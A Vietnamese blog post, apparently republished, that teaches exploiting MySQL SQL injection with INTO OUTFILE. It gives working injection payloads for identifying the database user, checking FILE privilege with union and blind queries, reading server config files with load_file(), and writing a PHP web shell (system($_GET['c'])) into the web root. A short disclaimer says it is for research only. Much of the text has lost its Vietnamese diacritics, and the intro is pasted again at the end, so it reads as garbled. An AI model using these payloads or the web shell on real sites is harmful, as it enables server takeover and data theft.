J2TEAM Security: A must-have extension for Chrome users. Install now!

Kỹ thuật tấn công sử dụng dumpfile/outfile trong SQL Injection

Kỹ thuật tấn công sử dụng dumpfile/outfile trong SQL Injection | Juno_okyo's Blog
Trong bài viết này tôi s đ cp đến câu lnh "into outfile", 1 câu lnh mc đnh ca MySQl nhưng li rt hu ích cho các attacker khi tn công web b dính li SQL Injection (tt nhiên DBs là MySQL). Ngoài ra chúng ta cũng s xem xét qua mt s điu kin như quyn đi vi file (FILE privilege) và vn đ thư mc liên quan.

Chú ý: Tn công mt website mà chưa có s đng ý ca ch nhân là vi phm pháp lut. Bài viết này ch mang tính nghiên cu và hc hi. Tôi khuyến khích mi người nên t cài đt h thng trên máy ca mình và th nghim, không nên tn công phá hoi các site trên thc tế - c0mm3nt 2009

1. Quyn FILE (FILE privilege)
Nếu chúng ta mun đc hay ghi các file thì MySQL user phi được cp quyn FILE
Th xem xét mt s lnh sau đây:
1' union select current_user,null/*

hoc
1' union select user(),null/*

Các câu lnh này có th cung cp thông tin v MySQL user hin ti, dng như:
Username@server
Chúng ta s tiếp tc khai thác thông tin v user này trong phn sau

Hoc bn cũng có th đoán tên user bng Blind SQLi nếu như không union được. Các câu lnh ví d:
1' and user() like 'root
1' and mid(user(),1,1)
1' and mid(user(),2,1)>'m
1' and ascii(substring(user(),1,1))>64

.....

Khi chúng ta đã biết username, ta có th kim tra xem user này có quyn FILE hay không
Đu tiên chúng ta s c gng truy cp vào bng mysql.user:
1' union select file_priv,null from mysql.user where user='username
Chú ý thay username câu lnh trên bng username mà các bn va tìm được

Bn cũng có th kim tra quyn FILE trong bng trên mà không cn thêm mnh đ where, tuy nhiên tôi vn thêm nó vào vì đây là cách nhanh và d dàng nht - khi chuyn sang Blind :
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a
ng có thêm NULL đây, vì đây ko phi là union select )

Cách trên có th áp dng cho c Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có th xem quyn FILE ngay trong information_schema

0 union select grantee,is_grantable FROM information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%

Vi blind:
1 and mid((select is_grantable from information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y

Nếu bn không th truy cp vào bng mysql.user hoc information_schema.user chúng ta cũng c th bước tiếp thao sau đây. Tuy nhiên nếu bn đoán rng bn không có quyn FILE thì cách khai thác s dng INTO OUTFILE s không thc hin được

2. Vn đ v thư mc web
Khi chúng ta biết chc rng mysql user hin ti có quyn FILE, chúng ta cn phi tìm cho được đường dn chính xác đến thư mc/file mà ta mun ghi file
Trong hu hết các trường hp MySQL server được chy cùng server vi server web hosting vì thế ta có th t thư mc ghi file mc đnh chuyn ra thư mc web bng các du ../
Vi Mysql ver 4, ta có th tìm đường dn datadir bng hin th li ca câu lnh:
0 UNION SELECT load_file(’a'),null/*

Trong mysql 5 thì có th union select:
0 UNION SELECT @@datadir,null/*

Thư mc mc đnh đ ghi file sdatadir\databasename
Bn có th biết được tên databasename bng câu lnh
0 UNION SELECT database(),null/*

Nếu may mn, chúng ta có th thy các warning ca các lnh như mysql_result(), mysql_free_result(), mysql_fetch_row() hoc các lnh tương t. Trong các warning này s hin th đườn dn đến thư mc web và chúng ta d dàng xác đnh được thư mc đ ghi file lên. Các warning này có dng như
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shop/shopping2/list1.html on line 80

đ hin th warning này có th th câu lnh 0 AND 1=’0

Cách làm trên có hiu qu đi vi hu hết mi website, tuy nhiên nếu thông báo li ca mysql b tt thì bn có th c gng đoán thư mc cha web bng cách s dng lnh LOAD_FILE() đ load và đc các file cu hình. 1 s đường dn mc đnh đến file cu hình:

/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include


Cũng cn chú ý xem h điu hành ca webserver là *nix hay win đ mà đoán cho tt

Thông thường thư mc gc cha web thường đt :
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/

bn có th google đ tìm thêm

Thông thường bn có th ghi files lên tt c các thư mc mà Mysql server có quyn ghi lên, min là bn có quyn FILE. Tuy nhiên Admin có th gii hn các thư mc có th ghi được t public. Xem thêm ti http://dev.mysql.com/doc/refman/5.1/...s-options.html

3. To ra các file hu dng
Khi bn đã chc chn có quyn FILE và xác đnh được thư mc đ ghi file, bn có th tiến hành ghi bng câu lnh SQL

0 UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt

Hoc là ghi bt c d liu gì, khi ta không biết tên bng và ct:
1 OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt

Nếu mun b các ký t splitting trong d liu, ta có th s dng INTO DUMPFILE thay vì INTO OUTFILE

Cũng có th kết hp gia load_file() đ đc các file trên server
0 AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…

Trong mt s trường hp ta cn s dng hex và unhex:
0 AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…

Hoc bn có th ghi bt c th j vào file, như là webshell chng hn
0 AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Đây là 1 s vì d:
// PHP SHELL
<? system($_GET['c']); ?>

hoc passthru nếu mun

// webserver info
<? phpinfo(); ?>

// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>

Cui cùng, 1 s chú ý v kiu khai thác này:
-Không th overwrite file vi câu lnh này
-INTO OUTFILE phi là mnh đ cui cùng trong câu truy vn
-Tôi không biết cách nào đ mã hóa FILENAME trong INTO OUTFILE('FILENAME') chn ' thì không khai thác được, biết cách khai thác vui lòng PM
-có th mã hóa code bn mun ghi vào file bng lnh char()Trong bài viết này tôi sẽ đề cập đến câu lệnh "into outfile", 1 câu lệnh mặc định của MySQl nhưng lại rất hữu ích cho các attacker khi tấn công web bị dính lỗi SQL Injection (tất nhiên DBs là MySQL). Ngoài ra chúng ta cũng sẽ xem xét qua một số điều kiện như quyền đối với file (FILE privilege) và vấn đề thư mục liên quan.

(Sưu tầm)
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!